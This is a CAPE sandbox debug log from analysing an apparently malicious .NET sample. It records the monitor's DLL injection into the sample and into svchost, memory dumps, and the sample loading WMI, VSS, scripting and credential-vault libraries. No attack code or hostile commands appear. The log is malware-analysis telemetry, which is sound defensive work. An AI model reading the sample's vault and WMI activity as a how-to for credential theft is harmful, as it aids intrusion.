2020-06-30 13:38:09,828 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:38:09,843 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
2020-06-30 13:38:09,843 [root] DEBUG: Loader: Injecting process 4444 (thread 5128) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:09,843 [root] DEBUG: Process image base: 0x00400000
2020-06-30 13:38:09,843 [root] DEBUG: InjectDllViaIAT: Executable is .NET, injecting via queued APC.
2020-06-30 13:38:09,843 [root] DEBUG: InjectDllViaQueuedAPC: APC injection queued.
2020-06-30 13:38:09,843 [root] DEBUG: Successfully injected DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:09,859 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 4444
2020-06-30 13:38:09,859 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4444.
2020-06-30 13:38:09,890 [root] DEBUG: Python path set to 'C:\Users\Rebecca\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 13:38:09,890 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 13:38:09,906 [root] DEBUG: DLL loaded at 0x74CB0000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2020-06-30 13:38:09,906 [root] INFO: Disabling sleep skipping.
2020-06-30 13:38:09,906 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 4444 at 0x6ac30000, image base 0x400000, stack from 0x2c6000-0x2d0000
2020-06-30 13:38:09,906 [root] DEBUG: Commandline: C:\Users\Rebecca\AppData\Local\Temp\"{path}".
2020-06-30 13:38:09,921 [root] DEBUG: DLL loaded at 0x74A40000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2020-06-30 13:38:09,921 [root] INFO: Loaded monitor into process with pid 4444
2020-06-30 13:38:09,937 [root] DEBUG: DLL loaded at 0x75280000: C:\Windows\system32\RpcRtRemote (0xe000 bytes).
2020-06-30 13:38:09,937 [root] DEBUG: set_caller_info: Adding region at 0x00080000 to caller regions list (ntdll::LdrLoadDll).
2020-06-30 13:38:09,937 [root] DEBUG: set_caller_info: Adding region at 0x016E0000 to caller regions list (kernel32::GetSystemTime).
2020-06-30 13:38:09,937 [root] DEBUG: NtTerminateProcess hook: Attempting to dump process 4436
2020-06-30 13:38:09,937 [root] DEBUG: GetHookCallerBase: thread 5844 (handle 0x0), return address 0x003921B9, allocation base 0x00390000.
2020-06-30 13:38:09,953 [root] DEBUG: DoProcessDump: Dumping Imagebase at 0x00D20000.
2020-06-30 13:38:09,953 [root] DEBUG: DLL loaded at 0x751E0000: C:\Windows\system32\cryptbase (0xc000 bytes).
2020-06-30 13:38:09,953 [root] DEBUG: LooksLikeSectionBoundary: Exception occured reading around suspected boundary at 0x00D22000
2020-06-30 13:38:09,953 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump 'raw' PE image.
2020-06-30 13:38:09,953 [root] DEBUG: DumpPE: Instantiating PeParser with address: 0x00D20000.
2020-06-30 13:38:09,953 [root] DEBUG: DumpPE: Empty or inaccessible last section, file image seems incomplete (from 0x00D83C00 to 0x00D83E00).
2020-06-30 13:38:10,515 [root] DEBUG: DumpMemory: Exception occured reading memory address 0x16e0000
2020-06-30 13:38:10,515 [root] DEBUG: DumpPE: Error: Cannot dump PE file from memory.
2020-06-30 13:38:10,515 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x016E0000 size 0x400000.
2020-06-30 13:38:10,515 [root] DEBUG: DumpImageInCurrentProcess: Failed to dump 'raw' PE image from 0x00D20000, dumping memory region.
2020-06-30 13:38:10,515 [root] DEBUG: DumpPEsInRange: Scanning range 0x16e0000 - 0x16e1000.
2020-06-30 13:38:10,515 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x16e0000-0x16e1000.
2020-06-30 13:38:10,531 [root] DEBUG: DLL unloaded from 0x76490000.
2020-06-30 13:38:10,531 [root] DEBUG: DLL unloaded from 0x0FE60000.
2020-06-30 13:38:10,546 [root] DEBUG: DLL unloaded from 0x6B910000.
2020-06-30 13:38:10,546 [root] DEBUG: NtTerminateProcess hook: Attempting to dump process 4436
2020-06-30 13:38:10,562 [root] DEBUG: GetHookCallerBase: thread 5844 (handle 0x0), return address 0x003921B9, allocation base 0x00390000.
2020-06-30 13:38:10,578 [root] DEBUG: DoProcessDump: Dumping Imagebase at 0x00D20000.
2020-06-30 13:38:10,593 [root] DEBUG: LooksLikeSectionBoundary: Exception occured reading around suspected boundary at 0x00D22000
2020-06-30 13:38:10,593 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump 'raw' PE image.
2020-06-30 13:38:10,625 [root] DEBUG: DumpPE: Instantiating PeParser with address: 0x00D20000.
2020-06-30 13:38:10,625 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\uAVdDIDye\CAPE\4444_153850642210581130262020 (size 0x597)
2020-06-30 13:38:10,625 [root] DEBUG: DumpPE: Empty or inaccessible last section, file image seems incomplete (from 0x00D83C00 to 0x00D83E00).
2020-06-30 13:38:10,640 [root] DEBUG: DumpRegion: Dumped stack region from 0x016E0000, size 0x1000.
2020-06-30 13:38:10,656 [root] DEBUG: DumpPE: Error: Cannot dump PE file from memory.
2020-06-30 13:38:10,671 [root] DEBUG: DumpImageInCurrentProcess: Failed to dump 'raw' PE image from 0x00D20000, dumping memory region.
2020-06-30 13:38:10,671 [root] INFO: Process with pid 4436 has terminated
2020-06-30 13:38:10,703 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\uAVdDIDye\CAPE\4444_165690816010581130262020 (size 0x12b)
2020-06-30 13:38:10,734 [root] DEBUG: DumpRegion: Dumped stack region from 0x00080000, size 0x1000.
2020-06-30 13:38:10,765 [root] DEBUG: DLL loaded at 0x00960000: C:\tmp2ylp3rhi\dll\MrteZUMC (0xd5000 bytes).
2020-06-30 13:38:10,765 [root] DEBUG: DLL unloaded from 0x70910000.
2020-06-30 13:38:10,781 [root] DEBUG: DLL unloaded from 0x762F0000.
2020-06-30 13:38:10,796 [root] DEBUG: DLL unloaded from 0x70910000.
2020-06-30 13:38:10,796 [root] DEBUG: DLL unloaded from 0x762F0000.
2020-06-30 13:38:10,812 [root] DEBUG: DLL unloaded from 0x00960000.
2020-06-30 13:38:10,812 [root] DEBUG: set_caller_info: Adding region at 0x00090000 to caller regions list (ntdll::LdrLoadDll).
2020-06-30 13:38:10,859 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\uAVdDIDye\CAPE\4444_95654793210581130262020 (size 0x12b)
2020-06-30 13:38:10,859 [root] DEBUG: DumpRegion: Dumped stack region from 0x00090000, size 0x1000.
2020-06-30 13:38:10,859 [root] DEBUG: DLL loaded at 0x00960000: C:\tmp2ylp3rhi\dll\MrteZUMC (0xd5000 bytes).
2020-06-30 13:38:10,875 [root] DEBUG: DLL unloaded from 0x70910000.
2020-06-30 13:38:10,875 [root] DEBUG: DLL unloaded from 0x762F0000.
2020-06-30 13:38:10,875 [root] DEBUG: DLL unloaded from 0x70910000.
2020-06-30 13:38:10,875 [root] DEBUG: DLL unloaded from 0x762F0000.
2020-06-30 13:38:10,875 [root] DEBUG: DLL unloaded from 0x00960000.
2020-06-30 13:38:10,906 [root] DEBUG: set_caller_info: Adding region at 0x000A0000 to caller regions list (ntdll::LdrLoadDll).
2020-06-30 13:38:11,031 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\uAVdDIDye\CAPE\4444_108804912410581130262020 (size 0x12b)
2020-06-30 13:38:11,031 [root] DEBUG: DumpRegion: Dumped stack region from 0x000A0000, size 0x1000.
2020-06-30 13:38:11,046 [root] DEBUG: DLL loaded at 0x00960000: C:\tmp2ylp3rhi\dll\MrteZUMC (0xd5000 bytes).
2020-06-30 13:38:11,046 [root] DEBUG: DLL unloaded from 0x70910000.
2020-06-30 13:38:11,046 [root] DEBUG: DLL unloaded from 0x762F0000.
2020-06-30 13:38:11,078 [root] DEBUG: DLL unloaded from 0x70910000.
2020-06-30 13:38:11,093 [root] DEBUG: DLL unloaded from 0x762F0000.
2020-06-30 13:38:11,093 [root] DEBUG: DLL unloaded from 0x00960000.
2020-06-30 13:38:11,109 [root] DEBUG: set_caller_info: Adding region at 0x001D0000 to caller regions list (advapi32::RegQueryInfoKeyW).
2020-06-30 13:38:11,125 [root] DEBUG: set_caller_info: Failed to dumping calling PE image at 0x001D0000.
2020-06-30 13:38:11,140 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xb4 amd local view 0x6B910000 to global list.
2020-06-30 13:38:11,140 [root] DEBUG: DLL loaded at 0x6B910000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei (0x7d000 bytes).
2020-06-30 13:38:11,156 [root] DEBUG: DLL unloaded from 0x76560000.
2020-06-30 13:38:11,203 [root] DEBUG: DLL loaded at 0x74760000: C:\Windows\system32\VERSION (0x9000 bytes).
2020-06-30 13:38:11,203 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xd0 amd local view 0x0FE60000 to global list.
2020-06-30 13:38:11,218 [root] DEBUG: DLL loaded at 0x0FE60000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr (0x6ef000 bytes).
2020-06-30 13:38:11,218 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x6E2C0000 for section view with handle 0xd0.
2020-06-30 13:38:11,234 [root] DEBUG: DLL loaded at 0x6E2C0000: C:\Windows\system32\MSVCR120_CLR0400 (0xf5000 bytes).
2020-06-30 13:38:11,265 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 4444, handle 0xf0.
2020-06-30 13:38:11,265 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xf4 amd local view 0x00140000 to global list.
2020-06-30 13:38:11,281 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xf8 amd local view 0x00150000 to global list.
2020-06-30 13:38:11,281 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4444.
2020-06-30 13:38:11,281 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4444.
2020-06-30 13:38:11,296 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1ac amd local view 0x05590000 to global list.
2020-06-30 13:38:11,468 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1b0 amd local view 0x63F80000 to global list.
2020-06-30 13:38:11,609 [root] DEBUG: set_caller_info: Adding region at 0x00560000 to caller regions list (ntdll::NtAllocateVirtualMemory).
2020-06-30 13:38:11,703 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\uAVdDIDye\CAPE\4444_185750128331581130262020 (size 0xfc07)
2020-06-30 13:38:11,718 [root] DEBUG: DumpRegion: Dumped stack region from 0x00560000, size 0x10000.
2020-06-30 13:38:11,796 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x204 amd local view 0x65CB0000 to global list.
2020-06-30 13:38:11,812 [root] DEBUG: DLL loaded at 0x65CB0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System\43822396682b0ffc3cfb66137ddab95f\System.ni (0xa10000 bytes).
2020-06-30 13:38:11,828 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x68B40000 for section view with handle 0x204.
2020-06-30 13:38:11,843 [root] DEBUG: DLL loaded at 0x68B40000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\2c462a934e0586ac5e46c8b93e461384\System.Drawing.ni (0x194000 bytes).
2020-06-30 13:38:11,859 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x200 amd local view 0x67BD0000 to global list.
2020-06-30 13:38:11,859 [root] DEBUG: DLL loaded at 0x67BD0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\aece3d371c0714e60f9509d2a3137395\System.Windows.Forms.ni (0xd1d000 bytes).
2020-06-30 13:38:14,484 [root] DEBUG: set_caller_info: Adding region at 0x00590000 to caller regions list (ntdll::NtQueryPerformanceCounter).
2020-06-30 13:38:14,484 [root] DEBUG: ScanForNonZero: Exception occured reading memory address 0x59ffff
2020-06-30 13:38:14,500 [root] DEBUG: DumpMemory: Nothing to dump at 0x00590000!
2020-06-30 13:38:14,500 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x00590000 size 0x10000.
2020-06-30 13:38:14,515 [root] DEBUG: DumpPEsInRange: Scanning range 0x590000 - 0x591000.
2020-06-30 13:38:14,531 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x590000-0x591000.
2020-06-30 13:38:14,578 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\uAVdDIDye\CAPE\4444_130106440934581130262020 (size 0x2a6)
2020-06-30 13:38:14,593 [root] DEBUG: DumpRegion: Dumped stack region from 0x00590000, size 0x1000.
2020-06-30 13:38:14,750 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x20c amd local view 0x6AE00000 to global list.
2020-06-30 13:38:14,765 [root] DEBUG: DLL loaded at 0x6AE00000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting (0x13000 bytes).
2020-06-30 13:38:14,765 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x059E0000 for section view with handle 0x20c.
2020-06-30 13:38:14,781 [root] DEBUG: DLL loaded at 0x75640000: C:\Windows\system32\shell32 (0xc4c000 bytes).
2020-06-30 13:38:14,781 [root] DEBUG: DLL loaded at 0x75290000: C:\Windows\system32\profapi (0xb000 bytes).
2020-06-30 13:38:14,796 [root] DEBUG: set_caller_info: Adding region at 0x00170000 to caller regions list (ntdll::NtAllocateVirtualMemory).
2020-06-30 13:38:14,859 [root] DEBUG: ScanForNonZero: Exception occured reading memory address 0x17ffff
2020-06-30 13:38:14,875 [root] DEBUG: DumpMemory: Nothing to dump at 0x00170000!
2020-06-30 13:38:14,921 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x00170000 size 0x10000.
2020-06-30 13:38:14,921 [root] DEBUG: DumpPEsInRange: Scanning range 0x170000 - 0x171000.
2020-06-30 13:38:14,921 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x170000-0x171000.
2020-06-30 13:38:14,984 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\uAVdDIDye\CAPE\4444_52750251534581130262020 (size 0x14)
2020-06-30 13:38:14,984 [root] DEBUG: DumpRegion: Dumped stack region from 0x00170000, size 0x1000.
2020-06-30 13:38:15,000 [root] DEBUG: DLL loaded at 0x74E00000: C:\Windows\system32\bcrypt (0x17000 bytes).
2020-06-30 13:38:15,093 [root] DEBUG: set_caller_info: Adding region at 0x00180000 to caller regions list (ntdll::LdrGetProcedureAddress).
2020-06-30 13:38:15,125 [root] DEBUG: ScanForNonZero: Exception occured reading memory address 0x18ffff
2020-06-30 13:38:15,125 [root] DEBUG: DumpMemory: Nothing to dump at 0x00180000!
2020-06-30 13:38:15,140 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x00180000 size 0x10000.
2020-06-30 13:38:15,140 [root] DEBUG: DumpPEsInRange: Scanning range 0x180000 - 0x18c000.
2020-06-30 13:38:15,156 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x180000-0x18c000.
2020-06-30 13:38:15,249 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\uAVdDIDye\CAPE\4444_91615281635581130262020 (size 0xb167)
2020-06-30 13:38:15,249 [root] DEBUG: DumpRegion: Dumped stack region from 0x00180000, size 0xc000.
2020-06-30 13:38:15,500 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x254 amd local view 0x654D0000 to global list.
2020-06-30 13:38:15,500 [root] DEBUG: DLL loaded at 0x654D0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\c8a2021e940773064c655a6ea6ee8cb2\System.Core.ni (0x7e0000 bytes).
2020-06-30 13:38:15,546 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x250 amd local view 0x68EB0000 to global list.
2020-06-30 13:38:15,562 [root] DEBUG: DLL loaded at 0x68EB0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\6090b158fd3d10686b422a455e188125\Microsoft.VisualBasic.ni (0x1d1000 bytes).
2020-06-30 13:38:26,656 [root] DEBUG: DLL loaded at 0x74CB0000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2020-06-30 13:38:26,671 [root] DEBUG: DLL loaded at 0x74A40000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2020-06-30 13:38:26,718 [root] DEBUG: DLL loaded at 0x75280000: C:\Windows\system32\RpcRtRemote (0xe000 bytes).
2020-06-30 13:38:26,734 [root] DEBUG: DLL loaded at 0x77450000: C:\Windows\system32\CLBCatQ (0x83000 bytes).
2020-06-30 13:38:26,781 [root] DEBUG: DLL loaded at 0x6ABF0000: C:\Windows\system32\wbem\wbemdisp (0x31000 bytes).
2020-06-30 13:38:26,812 [root] DEBUG: DLL loaded at 0x6AB90000: C:\Windows\system32\wbemcomn (0x5c000 bytes).
2020-06-30 13:38:26,828 [root] DEBUG: DLL loaded at 0x77410000: C:\Windows\system32\WS2_32 (0x35000 bytes).
2020-06-30 13:38:26,828 [root] DEBUG: DLL loaded at 0x77400000: C:\Windows\system32\NSI (0x6000 bytes).
2020-06-30 13:38:26,843 [root] INFO: Stopping WMI Service
2020-06-30 13:38:34,640 [root] INFO: Stopped WMI Service
2020-06-30 13:38:35,468 [lib.api.process] INFO: Monitor config for process 584: C:\tmp2ylp3rhi\dll\584.ini
2020-06-30 13:38:35,484 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:38:35,515 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
2020-06-30 13:38:35,515 [root] DEBUG: Loader: Injecting process 584 (thread 0) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:35,531 [root] DEBUG: InjectDll: No thread ID supplied. Initial thread ID 588, handle 0xa0
2020-06-30 13:38:35,531 [root] DEBUG: Process image base: 0x00110000
2020-06-30 13:38:35,546 [root] DEBUG: InjectDllViaIAT: Not a new process, aborting IAT patch
2020-06-30 13:38:35,546 [root] DEBUG: InjectDll: IAT patching failed, falling back to thread injection.
2020-06-30 13:38:35,562 [root] DEBUG: Python path set to 'C:\Users\Rebecca\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 13:38:35,562 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 13:38:35,578 [root] INFO: Disabling sleep skipping.
2020-06-30 13:38:35,593 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 584 at 0x6ac30000, image base 0x110000, stack from 0x1176000-0x1180000
2020-06-30 13:38:35,593 [root] DEBUG: Commandline: C:\Windows\System32\svchost.exe -k DcomLaunch.
2020-06-30 13:38:35,640 [root] INFO: Loaded monitor into process with pid 584
2020-06-30 13:38:35,640 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2020-06-30 13:38:35,640 [root] DEBUG: InjectDll: Successfully injected DLL via thread.
2020-06-30 13:38:35,656 [root] DEBUG: Successfully injected DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:37,671 [root] INFO: Starting WMI Service
2020-06-30 13:38:37,750 [root] INFO: Started WMI Service
2020-06-30 13:38:37,765 [lib.api.process] INFO: Monitor config for process 4156: C:\tmp2ylp3rhi\dll\4156.ini
2020-06-30 13:38:37,812 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:38:37,828 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
2020-06-30 13:38:37,859 [root] DEBUG: Loader: Injecting process 4156 (thread 0) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:37,859 [root] DEBUG: InjectDll: No thread ID supplied. Initial thread ID 2792, handle 0xa0
2020-06-30 13:38:37,859 [root] DEBUG: Process image base: 0x00110000
2020-06-30 13:38:37,859 [root] DEBUG: InjectDllViaIAT: Not a new process, aborting IAT patch
2020-06-30 13:38:37,859 [root] DEBUG: InjectDll: IAT patching failed, falling back to thread injection.
2020-06-30 13:38:37,890 [root] DEBUG: Python path set to 'C:\Users\Rebecca\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 13:38:37,890 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 13:38:37,921 [root] INFO: Disabling sleep skipping.
2020-06-30 13:38:37,921 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 4156 at 0x6ac30000, image base 0x110000, stack from 0x6b6000-0x6c0000
2020-06-30 13:38:37,937 [root] DEBUG: Commandline: C:\Windows\System32\svchost.exe -k netsvcs.
2020-06-30 13:38:37,953 [root] INFO: Loaded monitor into process with pid 4156
2020-06-30 13:38:37,953 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2020-06-30 13:38:37,953 [root] DEBUG: InjectDll: Successfully injected DLL via thread.
2020-06-30 13:38:37,968 [root] DEBUG: Successfully injected DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:39,984 [root] DEBUG: DLL loaded at 0x6E6C0000: C:\Windows\system32\wbem\wbemprox (0xb000 bytes).
2020-06-30 13:38:40,000 [root] DEBUG: DLL loaded at 0x6EC50000: C:\Windows\system32\wbemcomn2 (0x61000 bytes).
2020-06-30 13:38:40,000 [root] DEBUG: DLL loaded at 0x6DB30000: C:\Windows\system32\wbem\wmiutils (0x1a000 bytes).
2020-06-30 13:38:40,015 [root] DEBUG: DLL loaded at 0x6ED20000: C:\Windows\system32\VSSAPI (0x116000 bytes).
2020-06-30 13:38:40,015 [root] DEBUG: DLL loaded at 0x73870000: C:\Windows\system32\ATL (0x14000 bytes).
2020-06-30 13:38:40,015 [root] DEBUG: DLL loaded at 0x6ECC0000: C:\Windows\system32\VssTrace (0x10000 bytes).
2020-06-30 13:38:40,015 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1bc amd local view 0x005A0000 to global list.
2020-06-30 13:38:40,031 [root] DEBUG: DLL loaded at 0x731B0000: C:\Windows\system32\samcli (0xf000 bytes).
2020-06-30 13:38:40,031 [root] DEBUG: DLL loaded at 0x73DC0000: C:\Windows\system32\SAMLIB (0x12000 bytes).
2020-06-30 13:38:40,046 [root] DEBUG: DLL loaded at 0x73B30000: C:\Windows\system32\netutils (0x9000 bytes).
2020-06-30 13:38:40,062 [root] DEBUG: DLL loaded at 0x73820000: C:\Windows\system32\es (0x47000 bytes).
2020-06-30 13:38:40,078 [root] DEBUG: DLL loaded at 0x73EB0000: C:\Windows\system32\PROPSYS (0xf5000 bytes).
2020-06-30 13:38:40,109 [root] DEBUG: DLL loaded at 0x6E190000: C:\Windows\system32\wbem\wbemcore (0xf1000 bytes).
2020-06-30 13:38:40,109 [root] DEBUG: DLL loaded at 0x74760000: C:\Windows\system32\VERSION (0x9000 bytes).
2020-06-30 13:38:40,125 [root] DEBUG: DLL loaded at 0x6E0A0000: C:\Windows\system32\wbem\esscli (0x4a000 bytes).
2020-06-30 13:38:40,125 [root] DEBUG: DLL loaded at 0x6EAA0000: C:\Windows\system32\wbem\FastProx (0xa6000 bytes).
2020-06-30 13:38:40,140 [root] DEBUG: DLL loaded at 0x6E8B0000: C:\Windows\system32\NTDSAPI (0x18000 bytes).
2020-06-30 13:38:40,140 [root] DEBUG: DLL unloaded from 0x6E190000.
2020-06-30 13:38:40,156 [root] DEBUG: DLL loaded at 0x6DC50000: C:\Windows\system32\wbem\wbemsvc (0xf000 bytes).
2020-06-30 13:38:40,171 [root] DEBUG: DLL loaded at 0x6DC50000: C:\Windows\system32\wbem\wbemsvc (0xf000 bytes).
2020-06-30 13:38:40,171 [root] DEBUG: DLL loaded at 0x74E60000: C:\Windows\system32\authZ (0x1b000 bytes).
2020-06-30 13:38:40,249 [root] DEBUG: DLL loaded at 0x6DB30000: C:\Windows\system32\wbem\wmiutils (0x1a000 bytes).
2020-06-30 13:38:40,265 [root] DEBUG: DLL loaded at 0x6DAE0000: C:\Windows\system32\wbem\repdrvfs (0x47000 bytes).
2020-06-30 13:38:40,281 [root] DEBUG: DLL loaded at 0x74EB0000: C:\Windows\system32\Wevtapi (0x42000 bytes).
2020-06-30 13:38:40,296 [root] DEBUG: DLL unloaded from 0x74EB0000.
2020-06-30 13:38:40,828 [root] DEBUG: DLL loaded at 0x6D0E0000: C:\Windows\system32\wbem\wmiprvsd (0x91000 bytes).
2020-06-30 13:38:40,843 [root] DEBUG: DLL loaded at 0x6D390000: C:\Windows\system32\NCObjAPI (0xf000 bytes).
2020-06-30 13:38:40,843 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 584, handle 0x2c8.
2020-06-30 13:38:40,875 [root] DEBUG: DLL loaded at 0x6B730000: C:\Windows\system32\wbem\wbemess (0x5b000 bytes).
2020-06-30 13:38:41,140 [root] DEBUG: DLL loaded at 0x6EAA0000: C:\Windows\system32\wbem\fastprox (0xa6000 bytes).
2020-06-30 13:38:41,156 [root] DEBUG: DLL loaded at 0x6E8B0000: C:\Windows\system32\NTDSAPI (0x18000 bytes).
2020-06-30 13:38:41,281 [root] DEBUG: DLL loaded at 0x751F0000: C:\Windows\system32\SXS (0x5f000 bytes).
2020-06-30 13:38:41,359 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x2dc amd local view 0x00600000 to global list.
2020-06-30 13:38:41,421 [root] DEBUG: DLL loaded at 0x70930000: C:\Windows\system32\wbem\ncprov (0x12000 bytes).
2020-06-30 13:38:41,468 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x2cc amd local view 0x062A0000 to global list.
2020-06-30 13:38:41,765 [root] DEBUG: DLL unloaded from 0x6E190000.
2020-06-30 13:38:41,968 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x67AA0000 for section view with handle 0x2e0.
2020-06-30 13:38:41,968 [root] DEBUG: DLL loaded at 0x67AA0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Management\d3e15922b03ec29aed46615adda73f3d\System.Management.ni (0x123000 bytes).
2020-06-30 13:38:41,984 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4444.
2020-06-30 13:38:42,000 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4444.
2020-06-30 13:38:42,015 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x328 amd local view 0x6ECF0000 to global list.
2020-06-30 13:38:42,015 [root] DEBUG: DLL loaded at 0x6ECF0000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\wminet_utils (0x21000 bytes).
2020-06-30 13:38:44,937 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4444.
2020-06-30 13:38:48,375 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4444.
2020-06-30 13:38:55,078 [root] DEBUG: DLL unloaded from 0x76E50000.
2020-06-30 13:39:06,750 [root] DEBUG: DLL loaded at 0x6E800000: C:\Windows\system32\wshom.ocx (0x21000 bytes).
2020-06-30 13:39:06,765 [root] DEBUG: DLL loaded at 0x71900000: C:\Windows\system32\MPR (0x12000 bytes).
2020-06-30 13:39:06,796 [root] DEBUG: DLL loaded at 0x6D290000: C:\Windows\system32\ScrRun (0x2a000 bytes).
2020-06-30 13:39:06,921 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x3ec amd local view 0x00730000 to global list.
2020-06-30 13:39:06,968 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x330 amd local view 0x00740000 to global list.
2020-06-30 13:39:07,125 [root] DEBUG: set_caller_info: Adding region at 0x02B40000 to caller regions list (kernel32::VirtualProtectEx).
2020-06-30 13:39:07,156 [root] DEBUG: ScanForNonZero: Exception occured reading memory address 0x2b4ffff
2020-06-30 13:39:07,156 [root] DEBUG: DumpMemory: Nothing to dump at 0x02B40000!
2020-06-30 13:39:07,156 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x02B40000 size 0x10000.
2020-06-30 13:39:07,171 [root] DEBUG: DumpPEsInRange: Scanning range 0x2b40000 - 0x2b44000.
2020-06-30 13:39:07,171 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x2b40000-0x2b44000.
2020-06-30 13:39:07,234 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\uAVdDIDye\CAPE\4444_128749840834121230262020 (size 0x312b)
2020-06-30 13:39:07,234 [root] DEBUG: DumpRegion: Dumped stack region from 0x02B40000, size 0x4000.
2020-06-30 13:39:07,249 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x32c amd local view 0x00AA0000 to global list.
2020-06-30 13:39:07,328 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x3f0 amd local view 0x03310000 to global list.
2020-06-30 13:39:07,406 [root] DEBUG: DLL loaded at 0x6E910000: C:\Windows\system32\vaultcli (0xc000 bytes).
2020-06-30 13:39:07,421 [root] DEBUG: DLL unloaded from 0x77050000.
2020-06-30 13:39:08,109 [root] INFO: Announced starting service "b'VaultSvc'"
2020-06-30 13:39:08,109 [lib.api.process] INFO: Monitor config for process 464: C:\tmp2ylp3rhi\dll\464.ini
2020-06-30 13:39:08,140 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:39:08,156 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
